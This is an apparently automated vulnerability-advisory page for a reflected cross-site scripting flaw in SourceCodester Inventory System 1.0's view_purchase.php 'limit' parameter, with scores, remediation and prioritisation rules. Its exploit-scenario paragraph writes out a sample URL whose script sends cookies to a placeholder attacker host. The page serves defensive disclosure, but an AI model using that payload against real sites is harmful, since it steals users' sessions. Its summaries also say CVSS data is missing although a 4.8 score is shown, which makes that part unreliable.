Skip to main content

Inventory System CVE-2026-30568

| EUVDEUVD-2026-16730 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-27 cve@mitre.org
4.8
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Real-world risk is moderate to high, despite missing CVSS and EPSS data. The presence of publicly available exploit code significantly lowers the barrier to exploitation and should be weighted heavily in threat modeling. Reflected XSS has automatic attack potential (a single malicious link can compromise multiple users), and the technical impact is non-negligible-session hijacking and credential theft are feasible if the application handles sensitive purchase or user data. The absence of authentication requirements (the vulnerability is triggered via URL parameter) makes mass exploitation trivial. However, XSS impact depends on the target application's security posture (presence of HTTPOnly/Secure cookie flags, CSP, SameSite attributes). Without CVSS data, conservative assumption is that this is a legitimate priority for any deployment of Inventory System 1.0, especially if internet-facing. The POC availability is the strongest signal of real-world risk in this case.

Exploit ScenarioDerived

An attacker crafts a URL such as 'http://target.com/view_purchase.php?limit=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' and sends it to a victim via email or embeds it on a compromised website. When the victim clicks the link or the page auto-loads, the injected script executes in the victim's browser within the context of the target application, exfiltrating session cookies or triggering further actions on behalf of the victim. Since publicly available exploit code exists, attackers require minimal technical skill to execute this attack at scale.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 27, 2026

Reflected cross-site scripting (XSS) in SourceCodester Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through an unsanitized 'limit' parameter in the view_purchase.php file. The vulnerability affects unauthenticated users who click a malicious link, enabling session hijacking, credential theft, or malware distribution. Publicly available exploit code exists, elevating practical exploitation risk despite the absence of CVSS scoring data.

RemediationAI

Immediate action: upgrade SourceCodester Inventory System to the latest available version if a patch has been released by the vendor (verify at the SourceCodester website or official repository). If no patched version is available, apply input validation and output encoding: whitelist the 'limit' parameter to accept only numeric values, and use context-appropriate HTML entity encoding (e.g., htmlspecialchars() in PHP with ENT_QUOTES flag) before echoing user input in HTML context. As a temporary mitigation, implement a Web Application Firewall (WAF) rule to block requests containing common XSS payloads in the 'limit' parameter, enforce Content-Security-Policy (CSP) headers to restrict script execution, and ensure all cookies handling sensitive data are marked with HTTPOnly and Secure flags. The public exploit code available on GitHub (https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-ViewPurchase-limit.md) should be reviewed to understand the exact injection vector for better validation rules.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is a Reflected XSS flaw rooted in improper input validation/output encoding (CWE category for cross-site scripting). SourceCodester Inventory System 1.0 is a PHP-based web application that processes the 'limit' parameter in view_purchase.php without sanitizing or encoding user-supplied input before rendering it in HTTP responses. This allows an attacker to break out of the intended context and inject malicious script tags or event handlers. The reflected nature means the payload must be delivered via a crafted URL (GET request), making it suitable for phishing or watering-hole attacks. No specific CPE string was provided in the source data, but the affected product is SourceCodester Inventory System version 1.0.

Know when Inventory System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 4.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
PoC Detected
Mar 30, 2026 - 17:18 vuln.today
Public exploit code
CVE Published
Mar 27, 2026 - 18:16 nvd
MEDIUM 4.8

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Inventory System 1.0 in in the view_purchase.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

Executive ViewAI

Why It Matters

CVE-2026-30568 presents moderate security risk, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy